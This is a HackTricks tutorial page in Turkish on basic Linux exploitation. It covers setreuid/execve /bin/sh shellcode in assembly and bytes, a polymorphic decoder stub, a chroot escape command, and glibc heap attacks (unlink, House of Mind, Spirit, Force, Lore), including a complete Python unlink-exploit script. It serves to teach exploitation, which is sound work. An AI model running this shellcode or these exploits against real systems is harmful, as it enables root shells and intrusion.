hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/README.md
2024-04-06 19:40:41 +00:00

569 lines
33 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Linux Exploiting (Temel) (SPA)
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## **2.SHELLCODE**
Kernel kesmelerini görüntüle: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; eax'ı temizle\
xor ebx, ebx ; ebx = 0 çünkü geçirilecek bir argüman yok\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Sistem çağrısını yürüt
**nasm -f elf assembly.asm** —> Bir .o dosyası döndürür\
**ld assembly.o -o shellcodeout** —> Derlenmiş kod içeren yürütülebilir bir dosya verir ve **objdump** ile opcode'ları çıkarabiliriz\
**objdump -d -Mintel ./shellcodeout** —> Gerçekten shellcodemuz olduğunu ve opcode'ları çıkarmak için
**Shellcodenin çalıştığını kontrol etmek**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Sistem çağrılarının doğru yapıldığını görmek için önceki program derlenmeli ve sistem çağrıları **strace ./DERLENMİŞ_PROGRAM** içinde görünmelidir.
Shellcode'lar oluşturulurken bir hile yapılabilir. İlk talimat bir çağrıya bir sıçrama yapmaktır. Çağrı, orijinal kodu çağırır ve aynı zamanda EIP'yi yığına yerleştirir. Çağrı talimatından sonra ihtiyacımız olan dizeyi eklemişizdir, bu nedenle bu EIP ile dizeyi işaretleyebilir ve aynı zamanda kodu devam ettirebiliriz.
ÖRNEK **HİLE (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**Stack Kullanarak EJ(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Yumurta Avcısı:**
Bir işleme ilişkilendirilmiş bellek sayfalarını dolaşarak orada saklanan shellcode'u arayan küçük bir kod parçasıdır (shellcode'da yer alan bir imza arar). Kod enjekte etmek için sadece küçük bir alanın olduğu durumlarda faydalıdır.
**Polimorfik Shellcode'lar**
Şifrelenmiş kabuklardan oluşan ve onları çözen ve onlara atlayan küçük kod parçalarına sahip kabuklardır, Call-Pop hilesini kullanarak şifrelenmiş bir örnek şöyle olabilir:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
## **5. Ek Yöntemler**
**Murat Tekniği**
Linux'ta tüm programlar 0xbfffffff'den başlayarak haritalanır.
Yeni bir işlem için yığının nasıl oluşturulduğunu göz önünde bulundurarak, bir programın yalnızca shellcode'un bulunduğu bir ortamda başlatılmasını sağlayacak şekilde bir exploit geliştirilebilir. Bu adres şu şekilde hesaplanabilir: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
Bu şekilde, shellcode'un bulunduğu ortam değişkeninin adresi kolayca elde edilebilir.
Bu, execle fonksiyonunun yalnızca istenilen ortam değişkenlerine sahip bir ortam oluşturmasına izin vermesi sayesinde mümkündür.
##
###
###
###
###
### **Format Strings to Buffer Overflows**
**sprintf**, biçimlendirilmiş bir dizeyi bir değişkene taşır. Bu nedenle, bir dizenin biçimlendirmesini kötüye kullanarak, içeriğin kopyalandığı değişkende bir tampon taşmasına neden olabilirsiniz.\
Örneğin, yük `%.44xAAAA`, değişkene 44B+"AAAA" yazacak ve bu bir tampon taşmasına neden olabilir.
### **\_\_atexit Yapıları**
{% hint style="danger" %}
Günümüzde bunu sömürmek çok **garip**.
{% endhint %}
**`atexit()`**, diğer fonksiyonların parametre olarak iletilen bir işlevdir. Bu işlevler, bir `exit()` veya ana işlevin dönüşü sırasında yürütülecektir.\
Örneğin, bu işlevlerden herhangi birının adresini örneğin bir shellcode'a işaret etmek için değiştirebilirseniz, işlemi kontrol edersiniz, ancak bu şu anda daha karmaşıktır.\
Şu anda yürütülecek işlevlerin adresleri birkaç yapı arkasında gizlenmiştir ve sonunda işaret ettiği adresler işlevlerin adresleri değildir, ancak XOR ve rastgele bir anahtarla şifrelenmiştir. Bu nedenle, bu saldırı vektörü şu anda x86 ve x64\_86'da en azından çok kullanışlı değildir.\
Şifreleme işlevi `PTR_MANGLE`'dır. m68k, mips32, mips64, aarch64, arm, hppa gibi **diğer mimariler**, girdi olarak aldığı gibi döndürdüğü için şifreleme işlevini uygulamaz. Bu nedenle, bu mimariler bu vektör tarafından saldırıya uğrayabilir.
### **setjmp() & longjmp()**
{% hint style="danger" %}
Günümüzde bunu sömürmek çok **garip**.
{% endhint %}
**`Setjmp()`**, bağlamı (kaydedilen kayıtları) **kaydetmeye** izin verir.\
**`longjmp()`**, bağlamı **geri yüklemeye** izin verir.\
Kaydedilen kayıtlar: `EBX, ESI, EDI, ESP, EIP, EBP`'dir.\
Ancak EIP ve ESP, **`PTR_MANGLE`** işlevinden geçirilir, bu nedenle bu saldırıya karşı savunmasız mimariler yukarıdakiyle aynıdır.\
Hata kurtarma veya kesmeler için kullanışlıdır.\
Ancak, okuduğum kadarıyla, diğer kayıtlar korunmamaktadır, bu nedenle çağrılan işlev içinde `call ebx`, `call esi` veya `call edi` varsa, kontrol ele geçirilebilir. Veya EBP değiştirilerek ESP değiştirilebilir.
**VTable ve VPTR in C++**
Her sınıfın bir **Vtable**'ı vardır, bu bir yöntemler dizisidir.
Her bir **sınıf** nesnesinin bir **VPtr**'si vardır, bu sınıfının dizisinin bir **işaretçisidir**. VPtr, her nesnenin başlığının bir parçasıdır, bu nedenle **VPtr'nin üzerine yazılması** başarılırsa, bir işlevi yürütmek için sahte bir yönteme işaret edecek şekilde değiştirilebilir.
## **Önleyici ve Kaçınma Önlemleri**
###
**Libsafe'in Değiştirilmesi**
Şu şekilde etkinleştirilir: LD\_PRELOAD=/lib/libsafe.so.2\
veya\
“/lib/libsave.so.2” > /etc/ld.so.preload
Bazı güvensiz işlev çağrılarını güvenli işlevlerle değiştirir. Standartlaştırılmamıştır. (yalnızca x86 için, -fomit-frame-pointer ile derlenmemiş, statik derlemeler için geçerli değil ve LD\_PRELOAD setuid olan ikili dosyalarda çalışmaz).
**ASCII Armored Adres Alanı**
Paylaşılan kütüphaneleri 0x00000000 ile 0x00ffffff arasında yüklemek anlamına gelir, böylece her zaman bir 0x00 baytı olur. Bununla birlikte, bu neredeyse hiçbir saldırıyı durdurmayacak ve özellikle little endian'da etkisiz olacaktır.
**ret2plt**
Bu, strcpy@plt işlevini (plt'den) çağıran bir ROP gerçekleştirmeyi ve GOT girdisinin adresine işaret ederek çağrılmak istenen işlevin ilk bayrağını (system()) kopyalamayı içerir. Ardından aynısını GOT+1'e işaret ederek system() işlevinin 2. bayrağını kopyalarsınız... Sonunda GOT'da saklanan adrese çağrılır, bu adres system() olacaktır.
**chroot() ile Kafesler**
debootstrap -arch=i386 hardy /home/user —> Belirli bir alt dizin altına temel bir sistem yükler
Bir yönetici, bu kafeslerden birinden çıkmak için şunu yapabilir: mkdir foo; chroot foo; cd ..
**Kod Enstrümantasyonu**
Valgrind —> Hataları arar\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Taşmaları: Temel Sömürüler**
**Tahsis Edilen Parça**
prev\_size |\
size | —Başlık\
\*mem | Veriler
**Boş Parça**
prev\_size |\
size |\
\*fd | İleri parça işaretçisi\
\*bk | Geri parça işaretçisi —Başlık\
\*mem | Veriler
Boş parçalar, çift yönlü bir liste (bin) içinde bulunur ve iki boş parça yan yana olamaz (birleştirilirler)
"size" içinde, önceki parçanın kullanımda olup olmadığını, parçanın mmap() ile tahsis edilip edilmediğini ve parçanın ana arenaya ait olup olmadığını belirten bitler bulunmaktadır.
Bir parça serbest bırakıldığında, bitişik parçalardan herhangi biri boşsa, bunlar unlink() makrosu aracılığıyla birleştirilir ve yeni, daha büyük parça uygun bin içine yerleştirilir.
unlink(){\
BK = P->bk; —> Yeni parçanın BK'si, önceki boş parçanın BK'si olur\
FD = P->fd; —> Yeni parçanın FD'si, önceki boş parçanın FD'si olur\
FD->bk = BK; —> Sonraki parçanın BK'si yeni parçaya işaret eder\
BK->fd = FD; —> Önceki parçanın FD'si yeni parçaya işaret eder\
}
Bu nedenle, P->bk'yi bir shellcode'un adresiyle ve P->fd'yi GOT veya DTORS'taki bir girişin adresiyle değiştirmeyi başarırsak:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
Ve böylece programdan çıkarken shellcode yürütülür.
Ayrıca, unlink()'in 4. ifadesi bir şey yazıyor ve shellcode bunun için düzeltilmelidir:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Bu, shellcode'un 8. baytından itibaren 4 bayt yazılmasına neden olur, bu nedenle shellcode'un ilk talimatı bunu atlamak ve shellcode'un geri kalanına gitmek için bir jmp olmalıdır.
Bu nedenle, sömürü şu şekilde oluşturulur:
Buffer1'e, nops'a düşecek bir jmp ile başlayan shellcode eklenir.
Shellcode'un sonrasına, bir sonraki parçanın prev\_size ve size alanına ulaşana kadar doldurma eklenir. Bu alanlara 0xfffffff0 (önceki parçanın serbest olduğunu belirten bitin üzerine yazılacak şekilde) ve "-4" (0xfffffffc) eklenir (2. parçanın aslında serbest olduğunu belirten değiştirilmiş prev\_size'ı kontrol edeceği için size alanına) -> Bu şekilde, free() araştırırken 3. parçanın boyutuna gidecek ancak aslında 2. parçanın - 4'e gidecek ve 2. parçanın serbest olduğunu düşünecek. Ve sonra **unlink()** çağrılacak.
unlink() çağrıldığında, P->fd olarak 2. parçanın ilk verileri kullanılacak, bu nedenle üzerine yazılacak adres - 12 olacak (çünkü FD->bk'ye FD'de saklanan adrese 12 ekleyecek). Ve bu adrese, 2. parçada bulunan ikinci adresi ekleyecek, bu adresin shellcode'un adresi (sahte P->bk) olmasını isteyeceğiz.
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Önceki parçanın boş olduğunu gösteren bitin 1 olması önemli**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, 3. parçanın "size" değerinin 4 byte geride olduğunu düşünmesi için (prev\_size'ye işaret eder)**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Payload'da başlangıçta 8 byte dolgu olacak**
**got\_free = pack("\<I", 0x08048300 - 12) #free() adresi plt-12 (free çağrıldığında shellcode'un ikinci kez çalıştırılacağı adresi üzerine yazmak için)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Payload'ın başlangıcında 8 byte dolgu olacak**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #2. parça değiştiriliyor, got\_free, addr\_sc adresini saklayacağı yere işaret ediyor + 12**
**os.system("./8.3.o " + payload)**
**unset() ters sırayla serbest bırakma (wargame)**
3 ardışık parçayı kontrol ediyoruz ve serbest bırakma sırası tersine.
Bu durumda:
Parça c'ye shellcode yerleştirilir
Parça a'yı, b'yi üzerine yazmak için kullanırız, böylece size alanının PREV\_INUSE bitinin devre dışı bırakıldığına inanır ve parça a'nın boş olduğunu düşünür.
Ayrıca, b'nin başlığını -4 olarak ayarlarız.
Bu durumda, program "a"nın boş olduğunu ve bir depoda olduğunu düşünerek unlink() çağırır. Ancak, çünkü başlık PREV\_SIZE -4'e eşittir. Program, "a" parçasının aslında b+4'te başladığını düşünecektir. Yani, b+4'te "fd" işaretçisi olacak ve b+16'da "bk" işaretçisi olacak.
Bu şekilde, bk'ye shellcode'un adresini ve fd'ye "puts()" fonksiyonunun adresini -12 olarak yerleştirirsek, payload'umuzu elde ederiz.
**Frontlink Tekniği**
Bir şey serbest bırakıldığında ve yanındaki parçalar boş değilse, unlink() çağrılmaz, doğrudan frontlink() çağrılır.
Saldırılan malloc hiçbir zaman serbest bırakılmazsa yararlı bir zayıflıktır.
Gereksinimler:
Veri girişi işleviyle taşınabilir bir tampon
Bu tampona bitişik olan ve serbest bırakılacak olan ve başlık fd alanı taşınan bir tampon
512'den büyük ancak önceki tampona göre daha küçük bir boyutta serbest bırakılacak bir tampon
Bu adımdan önce tanımlanan bir tampon, bu tamponun prev\_size'ını üzerine yazmaya izin verir
Bu şekilde, kontrolsüz iki malloc üzerine yazarak ve yalnızca bir tanesinin serbest bırakılmasını sağlayarak bir saldırı gerçekleştirebiliriz.
**Çift free() Zayıflığı**
Aynı işaretçiyle iki kez free() çağrılırsa, aynı adrese işaret eden iki bin oluşur.
Birini tekrar kullanmak istendiğinde sorunsuzca atanır. Diğerini kullanmak istendiğinde, aynı alan atanır, bu da önceki rezervasyonun yazacağı verilerle yanıltıcı "fd" ve "bk" işaretçilerine sahip olmamıza neden olur.
**free() Sonrası**
Önceden serbest bırakılan bir işaretçi kontrolsüz bir şekilde tekrar kullanılır.
## **8 Heap Taşmaları: Gelişmiş Saldırılar**
Unlink() ve FrontLink() teknikleri, unlink() işlevi değiştirilerek kaldırıldı.
**The house of mind**
Kodun keyfi olarak yürütülmesini sağlamak için yalnızca bir free() çağrısı gereklidir. Önce bir parçayı taşımak ve serbest bırakmak için bir sonraki parçayı aramak önemlidir.
Bir free() çağrısı, public\_fREe(mem) işlevini çağırır, bu işlev:
mstate ar\_ptr;
mchunkptr p;
p = mem2chunk(mes); —> Bir parçanın başladığı adresi (mem-8) döndürür
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
_int_free(ar_ptr, mem);
}
\[1] kısmında, NON_MAIN_ARENA bitini kontrol eder, bu biti değiştirerek true döndürüp heap_for_ptr() işlevini çalıştırabiliriz. Bu işlev, "mem" üzerinde bir and işlemi yaparak en az anlamlı 2.5 byte'ı sıfırlar (örneğin 0x0804a000 için 0x08000000 yapar) ve 0x08000000->ar_ptr adresine erişir (struct heap_info gibi).
Bu şekilde, örneğin 0x0804a000 adresinde bir parçayı kontrol edebilir ve **0x081002a0** adresinde bir parçanın serbest bırakılacağını varsayarsak, 0x08100000 adresine ulaşabilir ve istediğimiz şeyi yazabiliriz, örneğin **0x0804a000**. Bu ikinci parça serbest bırakıldığında, heap_for_ptr(ptr)->ar_ptr'ın 0x08100000 adresine yazdığımızı görecektir (çünkü önceki and işlemi uygulanır ve buradan ilk 4 byte'ın değeri, ar_ptr'yi alır).
Böylece, \_int\_free(ar_ptr, mem) çağrılır, yani **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void_t\* mem){**\
…\
bck = unsorted_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Daha önce av değerini kontrol edebileceğimizi gördüğümüz gibi, av'ye yazdığımız değeri kontrol edebiliriz.
Unsorted_chunks'ı tanımladığımız gibi biliyoruz ki:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Bu nedenle, av->bins\[2] adresine \_\_DTOR\_END\_\_-12 değerini yazarsak, son talimatta \_\_DTOR\_END\_\_ adresine ikinci parçanın adresi yazılacaktır.
Yani, ilk parçanın başına \_\_DTOR\_END\_\_-12 adresini birçok kez yazmamız gerekmektedir, çünkü av->bins\[2] buradan alınacaktır.
İkinci parçanın adresinin düşeceği adrese, ilk parçanın başlangıç adresini yazmalıyız, böylece heap_for_ptr() ilk parçanın başında ar_ptr olduğunu düşünür ve oradan av->bins\[2]'yi alır.
İkinci parçada, birinci parçadan yararlanarak prev\_size'a bir jump 0x0c ve size'a -> NON\_MAIN\_ARENA'yı etkinleştirmek için bir şey yazıyoruz.
Sonra parça 2'de çok sayıda nop ve nihayetinde shellcode'u ekliyoruz.
Bu şekilde \_int\_free(TROZO1, TROZO2) çağrılacak ve \_\_DTOR\_END\_\_ adresine TROZO2'nin prev\_size adresi yazılacak ve shellcode'a atlayacak.
Bu tekniği uygulamak için payload'u biraz daha karmaşık hale getiren bazı gereksinimlerin karşılanması gerekmektedir.
Bu teknik artık uygulanabilir değil çünkü unlink için neredeyse aynı yama uygulandı. Yeni hedefin, ona işaret eden yeni konumla karşılaştırılır.
**Fastbin**
The house of mind'in bir varyantıdır.
İlk \_int\_free() fonksiyonunun ilk kontrolünden sonra aşağıdaki kodu çalıştırmak istiyoruz:
fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
Böylece "fb" adresi GOT'ta bir fonksiyonun adresini gösteriyorsa, bu adrese üzerine yazılacak olan sahte parçanın adresi konulur. Bunun için arena'nın dtors adreslerine yakın olması gerekir. Daha doğrusu av->max\_fast'in üzerine yazılacak adresin yakınında olması gerekir.
The House of Mind ile kontrol ettiğimiz gibi, av'nin konumunu kontrol ettiğimizi gördük.
Bu durumda, size alanına 8 + NON\_MAIN\_ARENA + PREV\_INUSE boyutunu koyarsak, fastbin\_index() bize fastbins\[-1]'i döndürecektir, bu da av->max\_fast'e işaret edecektir.
Bu durumda av->max\_fast'in üzerine yazılacak (işaret edilen değil, üzerine yazılacak olan pozisyon) adres olacaktır.
Ayrıca, serbest bırakılan parçanın bitişik parçasının 8'den büyük olması gerekir -> Serbest bırakılan parçanın boyutunun 8 olduğunu söylediğimize göre, bu sahte parçaya sadece 8'den büyük bir boyut koymamız yeterlidir (ayrıca shellcode serbest bırakılan parçada olacağından, başlangıçta noplara düşen bir jmp koymamız gerekecek).
Ayrıca, aynı sahte parçanın av->system\_mem'den küçük olması gerekir. av->system\_mem 1848 bayt daha ileridedir.
\_DTOR\_END\_ ve GOT'taki az sayıda adres nedeniyle, bu bölümlerin hiçbiri üzerine yazılacak uygun bir adres değildir, bu yüzden yığını hedeflemek için fastbin'i nasıl uygulayacağımıza bakalım.
Başka bir saldırı şekli, **av**'yi yığını hedeflemek için yeniden yönlendirmektir.
Size'ı 8 yerine 16 yapacak şekilde değiştirirsek: fastbin\_index() bize fastbins\[0]'ı döndürecektir ve bunu yığını hedeflemek için kullanabiliriz.
Bunun için yığında canary veya garip değerler olmamalıdır, aslında şu durumda olmalıdır: 4 bayt null + EBP + RET
4 bayt null, **av**'nin bu adrese işaret edeceği ve bir **av**'nin ilk öğesinin 0 olması gereken bir adrestir.
**av->max\_fast** EBP olacak ve bize kısıtlamaları atlamak için hizmet edecek bir değer olacaktır.
**av->fastbins\[0]** adresi **p**'nin adresiyle üzerine yazılacak ve RET olacak, böylece shellcode'a atlanacaktır.
Ayrıca, **av->system\_mem**'de (yığının pozisyonundan 1484 bayt yukarıda) bizi atlamamızı sağlayacak yeterince çöp olacaktır.
Ayrıca, serbest bırakılan parçanın bitişik parçasının 8'den büyük olması gerekir -> Serbest bırakılan parçanın boyutunun 16 olduğunu söylediğimize göre, bu sahte parçaya sadece 8'den büyük bir boyut koymamız yeterlidir (ayrıca shellcode serbest bırakılan parçada olacağından, yeni sahte parçanın boyut alanının sonrasında gelen noplara düşen bir jmp koymamız gerekecek).
**The House of Spirit**
Bu durumda, saldırganın değiştirebileceği bir malloc işaretçisine sahip bir malloc işaretçisi arıyoruz (örneğin, işaretçinin bir değişken üzerine taşma olasılığı olan yığının altında olması).
Böylece bu işaretçiyi istediği yere işaret edebiliriz. Ancak, herhangi bir yer uygun değildir, sahte parçanın boyutu av->max\_fast'ten küçük olmalı ve daha spesifik olarak gelecekteki bir malloc() çağrısında talep edilen boyut + 8'e eşit olmalıdır. Bu nedenle, eğer bu savunmasız işaretçinin altında malloc(40) çağrılacağını biliyorsak, sahte parçanın boyutu 48 olmalıdır.
Örneğin, program kullanıcıdan bir sayı istediğinde 48 girebilir ve malloc işaretçisini değiştirilebilir hale getirerek malloc'a ait olabilecek 4 bayt sonraki adreslere işaret edebiliriz (şans eseri EBP'ye ait olabilir, böylece 48 arkada kalır, sanki başlık boyutuymuş gibi). Ayrıca, ptr-4+48 adresinin (bu durumda ptr=EBP) birkaç koşulu karşılaması gerekir, yani 8 < ptr-4+48 < av->system\_mem olmalıdır.
Bu koşullar sağlandığında, dediğimiz gibi, bir sonraki malloc(40) çağrıldığında EBP'nin adresi atanır. Saldırganın bu malloc'a ne yazacağını da kontrol edebiliyorsa, EBP ve EIP'yi istediği adrese üzerine yazabilir.
Bu, çünkü free() işlemi, yığının EBP'sine işaret eden adreste yeni bir malloc() için mükemmel boyutta bir parça olduğunu kaydeder, bu nedenle o adrese atar.
**The House of Force**
Gereksinimler:
* Wilderness'ı üzerine yazabilecek bir taşma
* Kullanıcı tarafından tanımlanan boyutta bir malloc() çağrısı
* Kullanıcı tarafından tanımlanan verilere sahip bir malloc() çağrısı
İlk olarak, wilderness parçasının boyutunu çok büyük bir değerle (0xffffffff) üzerine yazıyoruz, böylece yeterince büyük bir bellek talebi \_int\_malloc() tarafından heap'i genişletmeden işlenecektir.
İkincisi, av->top'u, saldırganın kontrolü altındaki bir bellek bölgesine, örneğin yığın, işaret edecek şekilde değiştiriyoruz. av->top'a \&EIP - 8 konulur.
Saldırganın kontrolü altındaki bellek bölgesine işaret eden av->top'u değiştirmemiz gerekiyor:
victim = av->top;
remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim, mevcut wilderness parçasının adresini (mevcut av->top) alır ve remainder tam olarak bu adresin malloc() tarafından talep edilen bayt sayısı kadar ilerisine denk gelir. Yani, \&EIP-8'in 0xbffff224 olduğu ve av->top'un 0x080c2788 olduğu durumda, av->top'un bir sonraki malloc() için \&EIP-8'e işaret etmesi gereken miktardır:
0xbffff224 - 0x080c2788 = 3086207644.
Bu şekilde değiştirilmiş değeri av->top'a kaydedilir ve bir sonraki malloc EIP'ye işaret eder ve üzerine yazılabilir.
Yeni wilderness parçasının boyutunun, son malloc() tarafından yapılan talepten daha büyük olması önemlidir. Yani, wilderness \&EIP-8'e işaret ediyorsa, boyut tam olarak yığının EBP alanında kalır.
**The House of Lore**
**SmallBin Bozulması**
Serbest bırakılan parçalar, boyutlarına göre bir bine yerleştirilir. Ancak, unsorted bins'e önce yerleştirilirler. Bir parça serbest bırakıldığında hemen bine konulmaz, unsorted bins'te kalır. Sonra, yeni bir parça rezerve edilirse ve önceki serbest bırakılan parça ona hizmet edebilirse, geri verilir, ancak daha büyük bir parça rezerve edilirse, unsorted bins'teki serbest bırakılan parça uygun binine konulur.
Zararlı kodu ulaşmak için bellek talebi av->max\_fast'ten büyük (genellikle 72) ve MIN\_LARGE\_SIZE'dan (512) küçük olmalıdır.
Binlerde istenilen boyutta bir parça varsa, onu çözümlendikten sonra geri döndürülür:
bck = victim->bk; Önceki parçaya işaret eder, değiştirebileceğimiz tek bilgidir.
bin->bk = bck; Önceki parça, son parça olur, bck'nin bir sonraki rezerve edilen parçaya işaret etmesi durumunda bu adres verilir.
bck->fd = bin; Bu parçayı bin'e işaret ederek liste kapatılır.
Gereksinimler:
İlk olarak iki malloc rezerve edilmelidir, böylece ikinci parça serbest bırakıldıktan sonra ilkine taşma yapılabilir (yani taşmadan önce ikinci parçadan daha büyük bir malloc rezerve edilmiş olmalıdır)
Saldırgan tarafından kontrol edilen bir adrese sahip olması gereken saldırgan tarafından seçilen malloc rezerv edilen parça.
Amacımız şudur, bir heap'e taşma yapabilirsek ve altında serbest bırakılmış ve bin'inde bir parçası olan bir heap'e taşma yapabilirsek, bk işaretçisini değiştirebiliriz. Bk işaretçisini değiştirirsek ve bu parça bin listesinin ilk parçası haline gelirse ve rezerve edilirse, bin aldatılacak ve listenin son parçasının (sunulan sonraki parça) yanlış adresinde olduğuna inandırılacaktır (örneğin stack veya GOT'a). Bu nedenle, başka bir parça rezerve edildiğinde ve saldırganın izinleri varsa, istenen konumda bir parça verilecek ve oraya yazabilecektir.
Değiştirilen parçanın serbest bırakılmasından sonra serbest bırakılan parçadan daha büyük bir parça rezerve edilmesi gerekmektedir, böylece değiştirilen parça sıralanmamış bin'lerden çıkar ve bin'ine yerleştirilir.
Bin'ine yerleştirildikten sonra, taşma yoluyla bk işaretçisini değiştirmek için zamanı gelir, böylece bin, malloc() çağrıldığında yeterince kez bin'in değiştirilmiş bin'ini kullanmasını bekler ve bin'i yanlış adresindeki bir sonraki parçanın olduğuna inandırır. Ve ardından istediğimiz parça verilir.
Bu saldırının mümkün olan en kısa sürede gerçekleşmesi için ideal olan şey: Zayıf parça rezervasyonu, değiştirilecek parça rezervasyonu, bu parça serbest bırakılır, değiştirilecek parçadan daha büyük bir parça rezerve edilir, parça değiştirilir (zayıflık), zayıf parçadan aynı boyutta bir parça rezerve edilir ve istenilen adrese işaret eden ikinci bir parça rezerve edilir.
Bu saldırıyı korumak için, parçanın "yanlış" olmadığını kontrol etmek için tipik bir kontrol kullanılmıştır: bck->fd'nin victim'a işaret ettiği kontrol edilir. Yani, bizim durumumuzda, stack'te yanlış olarak işaretlenen parçanın fd\* işaretçisinin victim'a işaret edip etmediği kontrol edilir. Bu korumayı aşmak için saldırganın, uygun adrese (muhtemelen stack üzerinden) victim'un adresini yazabilmesi gerekir. Böylece bir gerçek parça gibi görünür.
**Büyük Bin Bozulması**
Önceki gereksinimlerin yanı sıra, rezerve edilen parçaların 512'den büyük olması gerekmektedir.
Saldırı, öncekiyle aynıdır, yani bk işaretçisini değiştirmek gereklidir ve tüm bu malloc() çağrılarına ihtiyaç vardır, ancak değiştirilen parçanın boyutunu değiştirmek gereklidir, böylece bu boyut - nb < MINSIZE olur.
Örneğin, 1552 boyutunda bir parça koymak, 1552 - 1544 = 8 < MINSIZE olacak şekilde ayarlanır (negatif olmamalıdır çünkü unsigned karşılaştırılır).
Ayrıca, daha da karmaşık hale getirmek için bir yama eklenmiştir.
**Heap Spreyi**
